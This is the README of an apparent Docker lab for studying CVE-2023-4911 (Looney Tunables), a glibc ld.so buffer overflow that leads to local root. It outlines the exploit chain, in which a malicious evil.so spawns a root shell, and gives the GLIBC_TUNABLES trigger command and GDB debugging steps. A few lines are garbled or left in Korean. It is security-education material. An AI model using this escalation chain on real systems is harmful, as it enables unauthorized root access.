
# Laboratorio Docker per CVE-2023-4911 per l'analisi del buffer overflow in glibc ld.so e lo sviluppo di un exploit per l'escalation locale dei privilegi con debug tramite GDB.
Ambiente di laboratorio basato su Docker per l'analisi della vulnerabilità di buffer overflow (Local Privilege Escalation) nel loader dinamico di GNU C Library (glibc) e lo sviluppo di exploit.
| Elemento | Descrizione |
|---|---|
| Numero CVE | CVE-2023-4911 |
| Alias | Looney Tunables |
| Target vulnerabile | GNU C Library (glibc) 2.34 ~ 2.38 |
| Versione vulnerabile | Ubuntu 22.04 — libc6 2.35-0ubuntu3.3 e precedenti |
| Versione patch | libc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04) |
| Tipo | Buffer Overflow in ld.so |
| Impatto | Local Privilege Escalation (utente normale → root) |
| Scoperto da | Qualys Security Research Team |
Il loader dinamico di glibc (ld.so) analizza la variabile d'ambiente GLIBC_TUNABLES all'avvio del programma.
Quando viene eseguito un binario SUID, viene impostato __libc_enable_secure = 1 e ld.so entra nel percorso di codice che annulla (nullify) tale variabile d'ambiente.
In questo processo, per input del formato tunable1=tunable2=value, un errato calcolo della lunghezza causa un buffer overflow.
일반 바이너리: __libc_enable_secure = 0 → nullify 코드 미진입 → 취약점 없음
SUID 바이너리: __libc_enable_secure = 1 → nullify 코드 진입 → 버퍼 오버플로우 발생
Flusso dell'exploit:
GLIBC_TUNABLES 오버플로우
↓
ld.so BSS 영역 link_map 포인터 덮어쓰기
↓
라이브러리 검색 경로를 evil_lib/ 경로로 변조
↓
evil.so 로드 → constructor 자동 실행
↓
setuid(0) + execve("/bin/bash") → root shell 획득
Questo ambiente è progettato per andare oltre la semplice esecuzione di un PoC, con l'obiettivo di analizzare direttamente il principio di funzionamento della vulnerabilità e sviluppare un exploit.
ld.soresearcher) a rootCVE-2023-4911/
├── Dockerfile # Definizione dell'immagine dell'ambiente vulnerabile (build multi-stage)
├── run.sh # Script di gestione build/esecuzione Docker
├── check_environment.sh # Verifica automatica dell'ambiente all'avvio del contenitore
├── poc/
│ ├── exploit.py # PoC di base — per verificare il crash (SIGSEGV)
│ ├── exploit_lpe.py # Exploit LPE — completato dopo analisi con GDB
│ └── evil_lib/
│ ├── evil.c # Libreria condivisa malevola che esegue una root shell
│ └── Makefile
└── test_targets/
├── test_suid.c # Sorgente del binario di test SUID
└── test_heap.c # Sorgente del binario di test per allocazione heap
./run.sh build && ./run.sh run
All'avvio del contenitore viene richiesta la password sudo.
비밀번호: password
# Verifica se si verifica SIGSEGV
python3 /workspace/poc/exploit.py --check-only
# Attivazione diretta
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
/workspace/test_targets/test_suid
# Analisi diretta all'interno del contenitore
gdb -q /workspace/test_targets/test_suid
# Debug remoto (gdbserver)
# All'interno del contenitore
gdbserver :1234 /workspace/test_targets/test_suid
# Host locale
gdb
(gdb) target remote localhost:1234
Dopo aver analizzato OVERFLOW_OFFSET e TARGET_ADDR con GDB, aggiornare i valori all'inizio di exploit_lpe.py ed eseguirlo.
python3 /workspace/poc/exploit_lpe.py
# Posizione della funzione vulnerabile
/workspace/glibc-source/elf/dl-tunables.c
# Funzioni principali
__tunables_init() # Punto di ingresso
parse_tunables() # Punto in cui si verifica l'overflow
tunables_strdup() # Allocazione del buffer
# Tracciamento delle chiamate di sistema con strace
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid
# Analisi di __tunables_init con GDB
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run
Questo ambiente deve essere utilizzato solo per scopi educativi e di ricerca sulla sicurezza.
--privileged, quindi utilizzarlo solo in ambienti isolati.| Comando | Descrizione |
|---|
./run.sh build | Build dell'immagine Docker |
./run.sh run | Avvia il contenitore in modalità interattiva |
./run.sh analysis | Esegue la modalità di analisi |
./run.sh test | Verifica rapida della vulnerabilità |
./run.sh clean | Pulisce immagini e contenitori |
| Elemento | Descrizione |
|---|
| Immagine base | ubuntu:jammy-20230916 (pre-patch) |
| Versione glibc | 2.35-0ubuntu3.3 (vulnerabile) |
| Versione ld.so | 2.35-0ubuntu3.3 (vulnerabile) |
| Account di analisi | researcher / password |
| Sorgente glibc | /workspace/glibc-source (2.35) |
| Porta principale | 1234 (gdbserver) |
| Opzioni del contenitore | --privileged, --pid=host |